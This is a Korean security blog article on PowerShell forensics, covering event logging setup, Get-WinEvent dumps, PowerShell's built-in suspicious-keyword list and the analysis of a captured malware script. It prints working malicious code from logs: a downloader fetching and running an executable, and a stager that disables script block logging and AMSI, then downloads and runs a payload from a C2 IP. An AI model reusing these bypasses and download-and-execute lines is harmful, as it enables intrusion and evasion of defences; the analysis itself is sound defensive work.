파워쉘 시큐리티 1 - 아티팩트 발굴과 분석

파워쉘은 윈도우즈 플랫폼에서 윈도우즈 커맨드를 대체하기 위한 용도로 개발 되었습니다. 또한 파워쉘은 도메인 환경에서 분산된 윈도우즈 엔드포인트 디바이스들을 관리하기 위한 툴로서도 각광을 받아 왔습니다. 또한 이러한 추세와 함께, 공격자의 입장에서도 파워쉘은 Living-Off-The-Land 공격의 좋은 전달 매개체 역할을 하고 있습니다. 파워쉘의 기저에는 .NET 프레임워크가 위치해 있고, 이를 통해서 시스템의 거의 모든 기능에 접근하는 것이 가능하기 때문에 공격자의 입장에서는 기존의 윈도우즈의 배치 파일이나 wscript 등에 비해서 더 진보한 공격툴을 확보한것과 같은 효과를 가지게 되었습니다. 이번 아티클에서는 어떻게 파워쉘 공격을 탐지하기 위한 기본적인 지식을 전달하고, 기본적인 파워쉘 공격 방법에 대한 분석 방법에 대해서 공유하겠습니다.

윈도우즈 이벤트의 기본

윈도우즈는 리눅스, 유닉스 시스템의 syslogd에 해당하는 Windows Event System이 존재합니다. ETW(Event Tracing in Windows)라고도 불리는 이 시스템을 통해서 시스템에서의 발생하는 파워쉘들의 활동 내역을 조회할 수 있습니다.

채널: Microsoft-Windows-PowerShell/Operational

윈도우즈 이벤트에는 채널이라는 개념이 존재합니다. 어떠한 종류의 이벤트가 로깅되는지를 정의하는 개념으로 파워쉘 이벤트는 Microsoft-Windows-PowerShell/* 채널을 통해서 로깅됩니다.

파워쉘이 제공하는 이벤트들은 다음 명령을 사용해서 리스트 해 볼수 있습니다.

wevtutil gp Microsoft-Windows-PowerShell /ge /gm:true

다음과 같이 채널과 그에 따른 여러 이벤트들이 리스팅 됩니다. 아래의 예에서는 Microsoft-Windows-PowerShell/Operational을 비롯해서 4개의 채널이 리스팅 되었습니다. 이벤트의 특성에 따라서 다른 채널을 통해서 로깅 됩니다.

PS C:\Users\tester> wevtutil gp Microsoft-Windows-PowerShell /ge /gm:true
name: Microsoft-Windows-PowerShell
guid: a0c1853b-5c40-4b15-8766-3cf1c58f985a
helpLink: http://go.microsoft.com/fwlink/events.asp?CoName=Microsoft%20Corporation&ProdName=Microsoft%c2%ae%20Windows%c2
%ae%20Operating%20System&ProdVer=10.0.14393.0&FileName=PSEvents.dll&FileVer=10.0.14393.0
resourceFileName: C:\Windows\system32\WindowsPowerShell\v1.0\PSEvents.dll
messageFileName: C:\Windows\system32\WindowsPowerShell\v1.0\PSEvents.dll
message:
channels:
  channel:
    name: Microsoft-Windows-PowerShell/Operational
    id: 16
    flags: 0
    message: Microsoft-Windows-PowerShell/Operational
  channel:
    name: Microsoft-Windows-PowerShell/Analytic
    id: 17
    flags: 0
    message: Microsoft-Windows-PowerShell/Analytic
  channel:
    name: Microsoft-Windows-PowerShell/Debug
    id: 18
    flags: 0
    message: Microsoft-Windows-PowerShell/Debug
  channel:
    name: Microsoft-Windows-PowerShell/Admin
    id: 19
    flags: 0
    message: Microsoft-Windows-PowerShell/Admin

다음과 같이 이벤트들의 리스팅도 보여집니다. 테스팅한 Windows 10 시스템에서는 약 188개의 파워쉘 관련 이벤트들이 리스팅 되었습니다. 각 이벤트들은 어떠한 채널로 로깅되는지를 알려 주는 channel id와 함께, 레벨과 키워드 등이 부여 됩니다. 이러한 여러 항목등을 통해서 원하는 종류의 이벤트들의 로깅 여부를 한꺼번에 설정할 수 있습니다.

...
Method Name = %2
Workflow GUID = %3
Message = %4
%5
Activity Name = %6
Activity GUID = %7
Parameters = %8
  event:
    value: 8193
    version: 1
    opcode: 16
    channel: 16
    level: 5
    task: 1
    keywords: 0x8000000000000001
    message: Creating Runspace object 
 	 Instance Id: %1
  event:
    value: 8194
    version: 1
    opcode: 16
    channel: 16
    level: 5
    task: 1
    keywords: 0x8000000000000001
    message: Creating RunspacePool object 
 	 InstanceId %1 
 	 MinRunspaces %2 
 	 MaxRunspaces %3
...

이벤트 로깅 활성화, 비활성화

윈도우즈의 이벤트들은 디폴트로 활성화 되어 있는 핵심적인 이벤트들이 있는 반면, 수동으로 활성화 시켜 주어야 하는 이벤트들도 있습니다. 파워쉘의 이벤트들은 대부분 비활성화 된 상태로 있습니다. 파워쉘의 경우 중요한 이벤트들에 대해서는 윈도우즈 세팅(Windows Settings)의 “Edit Group Policy” 항목을 통해서 이벤트 로깅을 세팅할 수 있습니다.

그룹 정책 화면에서 다음 순서대로 항목을 선택하면, 로깅과 관련된 세팅들을 확인할 수 있습니다.

  • Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell

해당 아이템을 선택하면, 다음과 같은 설정 화면이 나옵니다.

다음은 사후 침해 대응에 유용한 두가지의 이벤트들을 활성화한 후의 설정 화면입니다. 기본적으로 Module Logging과 Script Block Logging을 활성화해 놓으면 여러 악성 코드에 대한 사후 분석에 많은 도움을 받을 수 있습니다.

이벤트 확인

이렇게 수집되는 이벤트들은 기본적으로 이벤트 뷰어 (Event Viewer) 프로그램인 “eventvwr.msc”를 사용하여 확인 가능합니다. 해당 시스템에서 “eventvwr.msc” 내지는 “Event Viewer”로 검색하여 프로그램을 실행시키면 다음과 같이 이벤트에 대한 브라우징이 가능합니다. 파워쉘 이벤트를 검색하려면, 왼쪽 Event Viewer 트리에서 Applications and Services Logs -> Microsoft -> Windows -> PowerShell을 찾아 선택하면 됩니다.

흥미로운 파워쉘 이벤트들

파워쉘에는 여러 흥미로운 이벤트들이 존재하지만, 앞에서 그룹 정책으로 세팅한 두가지 주요 이벤트들에 대해서 알아 보도록 합니다. 두 이벤트 모두 많은 로그를 남기는 이벤트들로서 사후 분석에 유용하게 사용됩니다.

파워쉘 모듈 로깅 (이벤트 4103)

한 채널에는 여러 종류의 이벤트가 기록 될 수 있는데, Event ID 4103은 일반적인 파워쉘의 모듈 로딩 활동을 로깅하는 이벤트입니다.

Name Description
EventId 4103 (0x1007)
Channel Microsoft-Windows-PowerShell/Operational

이 이벤트에는 다음과 같은 형태의 정보가 기록됩니다. 템플릿에서 보듯이, 실제로 실행되는 파워쉘 스크립트의 모듈 로딩과 관련된 정보가 기록됩니다.

Id          : 4103
Level       : win:Informational
Opcode      : Exception
Task        : win:None
Keywords    : {$null, Cmdlets}
Template    : <template xmlns="http://schemas.microsoft.com/win/2004/08/events">
                <data name="ContextInfo" inType="win:UnicodeString" outType="xs:string"/>
                <data name="UserData" inType="win:UnicodeString" outType="xs:string"/>
                <data name="Payload" inType="win:UnicodeString" outType="xs:string"/>
              </template>

Description : %3

              Context:
              %1

              User Data:
              %2

이벤트들은 이벤트 뷰어로 검색이 가능하지만 Get-WinEvent 파워쉘 명령을 사용하여 덤프가 가능합니다. 예를 들어, 다음 파워쉘 명령을 사용하여 해당 시스템에 로깅된 모듈 로깅 정보들을 ModuleLogging.txt라는 파일로 덤프해서 확인할 수 있습니다.

Get-WinEvent -FilterHashTable @{LogName='Microsoft-Windows-PowerShell/Operational';ID='4103'; } | Format-List  TimeCreated, Id, LevelDisplayName, Message | Out-File -FilePath ModuleLogging.txt

시스템의 정상적인 파워쉘 이벤트를 비롯해서 다음과 같이 악성 코드의 모듈 단위 덤프가 이뤄집니다. 다음 예제는 New-Object가 실행된 코드의 스크립트가 덤프된 예입니다.

TimeCreated      : 6/22/2020 4:40:02 PM
Id               : 4103
LevelDisplayName : Information
Message          : CommandInvocation(New-Object): "New-Object"
                   ParameterBinding(New-Object): name="TypeName"; value="Net.WebClient"
                   
                   
                   Context:
                           Severity = Informational
                           Host Name = ConsoleHost
                           Host Version = 5.1.14393.0
                           Host ID = f6e7874c-97ad-4dcb-bfe0-0428a67865cc
                           Host Application = powershell $sTk=new-object Net.WebClient;$oAb='http://www.lt3.com.br/4P@h
                   ttp://licanten.tk/Tgpc38X@http://www.cainfirley.com/xzd8um@http://www.kanarya.com.tr/SU@http://www.g
                   oldschmittestans.ch/wtqNM'.Split('@');$zkw = '496';$paW=$env:public+'\'+$zkw+'.exe';foreach($LiQ in 
                   $oAb){try{$sTk.DownloadFile($LiQ, $paW);Invoke-Item $paW;break;}catch{}}
                           Engine Version = 5.1.14393.0
                           Runspace ID = d972d2cf-e692-4244-b626-016cade99b9d
                           Pipeline ID = 1
                           Command Name = New-Object
                           Command Type = Cmdlet
                           Script Name = 
                           Command Path = 
                           Sequence Number = 16
                           User = DESKTOP-E6NU7IM\tester
                           Connected User = 
                           Shell ID = Microsoft.PowerShell
                   
                   
                   User Data:

Script Block Logging (이벤트 4104)

이벤트 4104는 Script Block을 로깅하는 이벤트입니다. Script Block은 파워쉘에서 최소 실행 단위로서, 난독화된 파워쉘 코드의 경우 모든 난독화가 해제된 상태의 코드가 로깅되는 장점이 있습니다.

Name Description
EventId 4104 (0x1008)
Channel Microsoft-Windows-PowerShell/Operational
Message Creating Scriptblock text (%1 of %2): %3 ScriptBlock ID: %4

이 이벤트는 다음과 같은 명세를 가지고 있습니다.

Id          : 4104
Level       : win:Verbose
Opcode      : Create
Task        : CommandStart
Keywords    : {$null, Runspace}
Template    : <template xmlns="http://schemas.microsoft.com/win/2004/08/events">
                <data name="MessageNumber" inType="win:Int32" outType="xs:int"/>
                <data name="MessageTotal" inType="win:Int32" outType="xs:int"/>
                <data name="ScriptBlockText" inType="win:UnicodeString" outType="xs:string"/>
                <data name="ScriptBlockId" inType="win:UnicodeString" outType="xs:string"/>
                <data name="Path" inType="win:UnicodeString" outType="xs:string"/>
              </template>

Description : Creating Scriptblock text (%1 of %2):
              %3

              ScriptBlock ID: %4
              Path: %5

파워쉘 명령으로 이러한 Script Block들을 덤프해서 볼수 있습니다.

다음 파워쉘 명령을 통해서 현재 파워쉘 이벤트 4104 리스트를 SuspiciousPowerShell.txt 파일로 저장할 수 있습니다.

Get-WinEvent -FilterHashTable @{LogName='Microsoft-Windows-PowerShell/Operational';ID='4104'; } | Format-List  TimeCreated, Id, LevelDisplayName, Message | Out-File -FilePath SuspiciousPowerShell.txt

이렇게 로깅된 대부분은 파워쉘 스크립트는 사실 악성이 아닐 가능성이 높습니다. 다만, 이러한 로깅 기능을 통해서 실제 침해 사고가 발생할 경우, 사후 추적이 가능하다는 장점이 있습니다.

Suspicious Block Logging

사실 이벤트 4104를 활성화하지 않아도 파워쉘에서는 자체적으로 의심스러운 파워쉘 스크립들을 탐지할 경우 자동으로 로깅하고 있습니다. 이러한 장치를 통해서 실제로 침해 사고가 발생했을 경우, 미리 로깅 세팅이 되지 않은 머신의 경우에도 흥미로운 이벤트들을 발견할 가능성이 높아집니다.

파워쉘은 오픈소스로서 코드가 공개되어 있어서 실제로 어떻게 이러한 의심스러운 파워쉘 코드에 대한 로깅이 이뤄지는지 확인 가능합니다. CompiledScriptBlock.cs 코드의 CheckSuspiciousContent라는 함수에 이러한 의심스러운 파워쉘 패턴들이 리스팅 되어 있습니다.

        // Quick check for script blocks that may have suspicious content. If this
        // is true, we log them to the event log despite event log settings.
        internal static string CheckSuspiciousContent(Ast scriptBlockAst)
        {
            var foundSignature = SuspiciousContentChecker.Match(scriptBlockAst.Extent.Text);

어떠한 경우에 이러한 강제 로깅이 일어 나는지 간단하게 살펴 보겠습니다.

  • 타입/DLL: 타입 추가나 DLL의 임포트 하는 경우
            static string LookupHash(uint h)
            {
                switch (h)
                {
                    // Calling Add-Type
                    case 3012981990: return "Add-Type";
                    case 3359423881: return "DllImport";
  • Dynamic Assembly Building: 어셈블리를 동적으로 빌딩하는 경우
                    // Doing dynamic assembly building / method indirection
                    case 2713126922: return "DefineDynamicAssembly";
                    case 2407049616: return "DefineDynamicModule";
                    case 3276870517: return "DefineType";
                    case 419507039: return "DefineConstructor";
                    case 1370182198: return "CreateType";
                    case 1973546644: return "DefineLiteral";
                    case 3276413244: return "DefineEnum";
                    case 2785322015: return "DefineField";
                    case 837002512: return "ILGenerator";
                    case 3117011: return "Emit";
                    case 883134515: return "UnverifiableCodeAttribute";
                    case 2920989166: return "DefinePInvokeMethod";
                    case 1996222179: return "GetTypes";
                    case 3935635674: return "GetAssemblies";
                    case 955534258: return "Methods";
                    case 3368914227: return "Properties";
  • Type 프러퍼티에 대한 의심스러운 메쏘드들
                    // Suspicious methods / properties on "Type"
                    case 398423780: return "GetConstructor";
                    case 3761202703: return "GetConstructors";
                    case 1998297230: return "GetDefaultMembers";
                    case 1982269700: return "GetEvent";
                    case 1320818671: return "GetEvents";
                    case 1982805860: return "GetField";
                    case 1337439631: return "GetFields";
                    case 2784018083: return "GetInterface";
                    case 2864332761: return "GetInterfaceMap";
                    case 405214768: return "GetInterfaces";
                    case 1534378352: return "GetMember";
                    case 321088771: return "GetMembers";
                    case 1534592951: return "GetMethod";
                    case 327741340: return "GetMethods";
                    case 1116240007: return "GetNestedType";
                    case 243701964: return "GetNestedTypes";
                    case 1077700873: return "GetProperties";
                    case 1020114731: return "GetProperty";
                    case 257791250: return "InvokeMember";
                    case 3217683173: return "MakeArrayType";
                    case 821968872: return "MakeByRefType";
                    case 3538448099: return "MakeGenericType";
                    case 3207725129: return "MakePointerType";
                    case 1617553224: return "DeclaringMethod";
                    case 3152745313: return "DeclaringType";
                    case 4144122198: return "ReflectedType";
                    case 3455789538: return "TypeHandle";
                    case 624373608: return "TypeInitializer";
                    case 637454598: return "UnderlyingSystemType";
  • System.Runtime.InteropServices: 이 클래스를 통해서 자체 어셈블리에 대한 인트로스펙션이 가능합니다. AMSI 바이패스등의 여러 공격에 이용되는 오브젝트입니다.
                    // Doing things with System.Runtime.InteropServices
                    case 1855303451: return "InteropServices";
                    case 839491486: return "Marshal";
                    case 1928879414: return "AllocHGlobal";
                    case 3180922282: return "PtrToStructure";
                    case 1718292736: return "StructureToPtr";
                    case 3390778911: return "FreeHGlobal";
                    case 3111215263: return "IntPtr";
  • General Obfuscation: 메모리 스트림/압축/Base64 등 여러 스트링 기반 난독화에 사용되는 메쏘드들입니다.
                    // General Obfuscation
                    case 1606191041: return "MemoryStream";
                    case 2147536747: return "DeflateStream";
                    case 1820815050: return "FromBase64String";
                    case 3656724093: return "EncodedCommand";
                    case 2920836328: return "Bypass";
                    case 3473847323: return "ToBase64String";
                    case 4192166699: return "ExpandString";
                    case 2462813217: return "GetPowerShell";
  • Suspicious Win32 API calls: 여러 Win32 API 콜들로서 프로세스 인젝션, 쉘코드 실행 등에 사용됩니다.
                    // Suspicious Win32 API calls
                    case 2123968741: return "OpenProcess";
                    case 3630248714: return "VirtualAlloc";
                    case 3303847927: return "VirtualFree";
                    case 512407217: return "WriteProcessMemory";
                    case 2357873553: return "CreateUserThread";
                    case 756544032: return "CloseHandle";
                    case 3400025495: return "GetDelegateForFunctionPointer";
                    case 314128220: return "kernel32";
                    case 2469462534: return "CreateThread";
                    case 3217199031: return "memcpy";
                    case 2283745557: return "LoadLibrary";
                    case 3317813738: return "GetModuleHandle";
                    case 2491894472: return "GetProcAddress";
                    case 1757922660: return "VirtualProtect";
                    case 2693938383: return "FreeLibrary";
                    case 2873914970: return "ReadProcessMemory";
                    case 2717270220: return "CreateRemoteThread";
                    case 2867203884: return "AdjustTokenPrivileges";
                    case 2889068903: return "WriteByte";
                    case 3667925519: return "WriteInt32";
                    case 2742077861: return "OpenThreadToken";
                    case 2826980154: return "PtrToString";
                    case 3735047487: return "ZeroFreeGlobalAllocUnicode";
                    case 788615220: return "OpenProcessToken";
                    case 1264589033: return "GetTokenInformation";
                    case 2165372045: return "SetThreadToken";
                    case 197357349: return "ImpersonateLoggedOnUser";
                    case 1259149099: return "RevertToSelf";
                    case 2446460563: return "GetLogonSessionData";
                    case 2534763616: return "CreateProcessWithToken";
                    case 3512478977: return "DuplicateTokenEx";
                    case 3126049082: return "OpenWindowStation";
                    case 3990594194: return "OpenDesktop";
                    case 3195806696: return "MiniDumpWriteDump";
                    case 3990234693: return "AddSecurityPackage";
                    case 611728017: return "EnumerateSecurityPackages";
                    case 4283779521: return "GetProcessHandle";
                    case 845600244: return "DangerousGetHandle";
  • 랜섬웨어 등에서 파일 시스템을 암호화하기 위해서 사용되는 API들입니다.
                    // Crypto - ransomware, etc.
                    case 2691669189: return "CryptoServiceProvider";
                    case 1413809388: return "Cryptography";
                    case 4113841312: return "RijndaelManaged";
                    case 1650652922: return "SHA1Managed";
                    case 1759701889: return "CryptoStream";
                    case 2439640460: return "CreateEncryptor";
                    case 1446703796: return "CreateDecryptor";
                    case 1638240579: return "TransformFinalBlock";
                    case 1464730593: return "DeviceIoControl";
                    case 3966822309: return "SetInformationProcess";
                    case 851965993: return "PasswordDeriveBytes";
  • Keylogging: 키로깅 말웨어에 의해서 사용되는 API들입니다.
                    // Keylogging
                    case 793353336: return "GetAsyncKeyState";
                    case 293877108: return "GetKeyboardState";
                    case 2448894537: return "GetForegroundWindow";
  • Using internal types: 내부 타입들을 변조하기 위해서 사용되는 패턴들입니다.
                    // Using internal types
                    case 4059335458: return "BindingFlags";
                    case 1085624182: return "NonPublic";

  • 스크립트 로깅등을 제어하기 위해서 사용되는 변수들입니다.
                    // Changing logging settings
                    case 904148605: return "ScriptBlockLogging";
                    case 4150524432: return "LogPipelineExecutionDetails";
                    case 3704712755: return "ProtectedEventLogging";

예제

다음은 실제로 말웨어 테스트용으로 사용된 머신에서 얻어낸 로그 엔트리입니다.

TimeCreated      : 5/1/2020 11:18:39 AM
Id               : 4104
LevelDisplayName : Warning
Message          : Creating Scriptblock text (1 of 1):
                   If($PSVersIoNTABle.PSVERsION.MAjOr -ge 3){$GPF=[rEF].AssembLy.GETType('System.Management.Automation.
                   Utils')."GETFiE`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');IF($GPF){$GPC=$GPF.GEtVAlue($
                   NuLL);IF($GPC['ScriptB'+'lockLogging']){$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']
                   =0;$GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$vaL=[COllECTIOns.GEnerIC.D
                   icTIOnaRY[stRing,SySteM.ObJEcT]]::new();$VAL.AdD('EnableScriptB'+'lockLogging',0);$VAl.Add('EnableSc
                   riptBlockInvocationLogging',0);$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShe
                   ll\ScriptB'+'lockLogging']=$val}ELsE{[SCRIPTBlOCK]."GetFIe`lD"('signatures','N'+'onPublic,Static').S
                   etVaLUe($nulL,(NEw-ObJeCt CollEctIOns.GEnEriC.HasHSET[STriNg]))}[REf].ASsEmBLy.GeTTypE('System.Manag
                   ement.Automation.AmsiUtils')|?{$_}|%{$_.GetFIELd('amsiInitFailed','NonPublic,Static').SetVAlue($NulL
                   ,$TRUE)};};[SYstEm.NEt.ServICePoInTManAgeR]::Expect100CONTInUe=0;$wC=NeW-ObjECT 
                   SYstEm.NEt.WEbCliEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.H
                   EaDeRS.ADd('User-Agent',$u);$WC.PROxY=[SySTeM.NeT.WEbReqUESt]::DEfaultWeBPROxy;$wC.PROXy.CREDEnTIaLS
                    = [System.Net.CRedEnTIAlCaChe]::DefAULTNEtwoRKCRedENtIALs;$Script:Proxy = $wc.Proxy;$K=[SYSTeM.TExt
                   .ENCoDING]::ASCII.GEtByTes('=VO3zZ51!HUDa_k<i~Tx&*mluj-b%Y|t');$R={$D,$K=$ARGs;$S=0..255;0..255|%{$J
                   =($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;
                   $S[$I],$S[$H]=$S[$H],$S[$I];$_-BXor$S[($S[$I]+$S[$H])%256]}};$ser='http://54.244.182.87:80';$t='/log
                   in/process.php';$WC.HeaderS.ADd("Cookie","session=WFhYQKEVg4sMzF0+B29jbYE+Q+U=");$DAtA=$WC.DOWNloaDD
                   ATa($ser+$t);$IV=$DATa[0..3];$dAta=$DaTA[4..$DATa.leNgTh];-joiN[CHAr[]](& $R $daTA ($IV+$K))|IEX
                   
                   ScriptBlock ID: 5398f93b-2cc6-4c5e-8d03-0d322342c7b7
                   Path: 

위의 파워쉘 코드는 문법적으로는 전혀 난독화가 되어있지 않은 평문 상태이지만, 사람이 읽기에는 해독이 힘든 형태의 폼팩터를 가지고 있습니다. 여러 PowerShell beautifier들이 존재하지만, 일단 간단히 에디터로 다음과 같이 beautify를 해 줍니다.

If($PSVersIoNTABle.PSVERsION.MAjOr -ge 3)
{
    $GPF=[rEF].AssembLy.GETType('System.Management.Automation.Utils')."GETFiE`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');

	IF($GPF)
    {
        $GPC=$GPF.GEtVAlue($NuLL);
        IF($GPC['ScriptB'+'lockLogging'])
        {
            $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
            $GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0
        }
        $vaL=[COllECTIOns.GEnerIC.DicTIOnaRY[stRing,SySteM.ObJEcT]]::new();
        $VAL.AdD('EnableScriptB'+'lockLogging',0);
        $VAl.Add('EnableScriptBlockInvocationLogging',0);
        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val
    }
    ELsE
    {
        [SCRIPTBlOCK]."GetFIe`lD"('signatures','N'+'onPublic,Static').SetVaLUe($nulL,(NEw-ObJeCt CollEctIOns.GEnEriC.HasHSET[STriNg]))
    }

    [REf].ASsEmBLy.GeTTypE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GetFIELd('amsiInitFailed','NonPublic,Static').SetVAlue($NulL,$TRUE)};
};


[SYstEm.NEt.ServICePoInTManAgeR]::Expect100CONTInUe=0;
$wC=NeW-ObjECTSYstEm.NEt.WEbCliEnt;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$wc.HEaDeRS.ADd('User-Agent',$u);
$WC.PROxY=[SySTeM.NeT.WEbReqUESt]::DEfaultWeBPROxy;
$wC.PROXy.CREDEnTIaLS= [System.Net.CRedEnTIAlCaChe]::DefAULTNEtwoRKCRedENtIALs;

$Script:Proxy = $wc.Proxy;
$K=[SYSTeM.TExt.ENCoDING]::ASCII.GEtByTes('=VO3zZ51!HUDa_k<i~Tx&*mluj-b%Y|t');

$R={
    $D,$K=$ARGs;
    $S=0..255;
    0..255|%{
        $J=($J+$S[$_]+$K[$_%$K.Count])%256;
        $S[$_],$S[$J]=$S[$J],$S[$_]
    };

    $D|%{
        $I=($I+1)%256;
        $H=($H+$S[$I])%256;
        $S[$I],$S[$H]=$S[$H],$S[$I];
        $_-BXor$S[($S[$I]+$S[$H])%256]
    }
};

$ser='http://54.244.182.87:80';

$t='/login/process.php';

$WC.HeaderS.ADd("Cookie","session=WFhYQKEVg4sMzF0+B29jbYE+Q+U=");
$DAtA=$WC.DOWNloaDDATa($ser+$t);

$IV=$DATa[0..3];
$dAta=$DaTA[4..$DATa.leNgTh];
-joiN[CHAr[]](& $R $daTA ($IV+$K))|IEX

이 파워쉘 이벤트의 장점은 Base64 해제나 난독화 해제등의 과정을 이미 거친, 실제로 파워쉘 인터프리터로 입력되는 실제 스크립트를 확보할 수 있다는 것입니다. 위의 예제에서는 실제로 사용된 페이로드 URL 등이 모두 노출 되어 있어서, 조금만 노력을 기울이면 이 파워쉘 코드의 행위를 금방 분석할 수 있다는 것을 알 수 있습니다.

C&C 서버 접근

실제로 위의 악성 코드 예제는 다음과 같은 C2 서버 접근과 관련한 변수들이 존재합니다.

$ser='http://54.244.182.87:80';$t='/login/process.php';

이 URL은 다음과 같은 System.Net.WebClient 오브젝트를 통해서 접근이 됩니다.

$wC=NeW-ObjECTSYstEm.NEt.WEbCliEnt;

다음과 같이 System.Net.WebClient 오브젝트의 DownloadData 메쏘드를 통해서 다운로드된 파워쉘 페이로드를 IEX 명령을 통해서 실행 시킵니다.

$DAtA=$WC.DOWNloaDDATa($ser+$t);$IV=$DATa[0..3];$dAta=$DaTA[4..$DATa.leNgTh];-joiN[CHAr[]](& $R $daTA ($IV+$K))|IEX

보안 장치 해제

이 스크립트는 특이하게도 파워쉘 이벤트 시스템을 중지 시키고, AMSI 기능을 정지 시키는 코드를 포함하고 있습니다.

다음과 같이 먼저 파워쉘의 버전이 3이상인 경우에만 이러한 우회 기능을 활성화 시킵니다.

If($PSVersIoNTABle.PSVERsION.MAjOr -ge 3)

먼저 System.Management.Automation.Utils 클래스를 통해서 cachedGroupPolicySettings 필드에 접근합니다. 이 필드는 Group Policy 정책을 포함하고 있는 메모리상의 필드입니다.

    $GPF=[rEF].AssembLy.GETType('System.Management.Automation.Utils')."GETFiE`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');

$GPC 오브젝트에 저장된 cachedGroupPolicySettings 필드의 정보를 다음과 같이 수정합니다.

	IF($GPF)
    {
        $GPC=$GPF.GEtVAlue($NuLL);
        IF($GPC['ScriptB'+'lockLogging'])
        {
            $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
            $GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0
        }
        $vaL=[COllECTIOns.GEnerIC.DicTIOnaRY[stRing,SySteM.ObJEcT]]::new();
        $VAL.AdD('EnableScriptB'+'lockLogging',0);
        $VAl.Add('EnableScriptBlockInvocationLogging',0);
        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val
    }

여기에 사용된 기법은 PowerShell ScriptBlock Logging Bypass에서 언급된 기법으로서 메모리에 로딩된 그룹 정책을 수정하여, 시스템에서의 파워쉘 로깅을 비활성화하는 기법입니다. 시스템의 값을 수정하는 것이 아니어서, 치명적으로 어드민 권한 없이도 이러한 변경이 가능하다는 문제가 존재합니다.

다음과 레지스트의 설정을 수정하여 스크립트 로깅과 관련된 필드에 대한 설정을 수정합니다. 이 레지스트리는 스크립트 로깅을 활성화, 비활성화하는 레지스트리 키입니다.

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

다음은 amsiInitFailed라는 변수를 TRUE로 세팅하여 AMSI 초기화가 실패한 것으로 설정하여, 더 이상의 AMSI 기능을 비활성화하는 코드입니다.

    [REf].ASsEmBLy.GeTTypE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GetFIELd('amsiInitFailed','NonPublic,Static').SetVAlue($NulL,$TRUE)};

AMSI(Antimalware Scan Interface)는 안티 말웨어 제품들이 파워쉘이나 여러 스크립트들이 시스템에서 실행 될 때에 스캐닝할 수 있는 데이타를 보내 주는 인터페이스입니다. AMSI를 사용함으로 인해서 난독화되어 있는 정적인 데이타가 아닌 실제로 프로세스 상에서 로딩되어 실행되는 난독화가 해제된 형태의 데이타를 안티말웨어 제품들이 난독화 해제를 걱정하지 않고, 바로 접근하여 스캐닝에 사용할 수 있는 장점이 있습니다.

파워쉘의 경우에도 실제로 실행되는 난독화가 해제된 데이타가 AMSI를 통해서 안티말웨어 제품에 전달 됩니다. AMSI 인터페이스 우회가 일어날 경우 이러한 안티말웨어를 통한 악성 파워쉘 디텍션에 문제가 발생하게 됩니다. 특히 AMSI 로깅 기능 자체가 유저랜드 상의 프로세스에 존재하기 때문에 이러한 메모리 상에 존재하는 변수 수정 등의 여러 기법으로 우회가 가능한 치명적인 단점이 존재합니다.

결론

이번 아티클에서는 파워쉘 보안의 기본적인 지식들의 전달에 집중하였습니다. 다음화들을 통해서 난독화된 파워쉘들에 대한 분석 방법 등이나 EDR 등의 입장에서 접근 방법에 대해서 다룰 예정입니다.

트레이닝 정보

다른그림은 Threat 인텔리젼스와 지식 제공 회사로서 다음과 같은 파워쉘과 관련된 트레이닝을 제공합니다. 많은 관심과 참여 바랍니다.

Updated: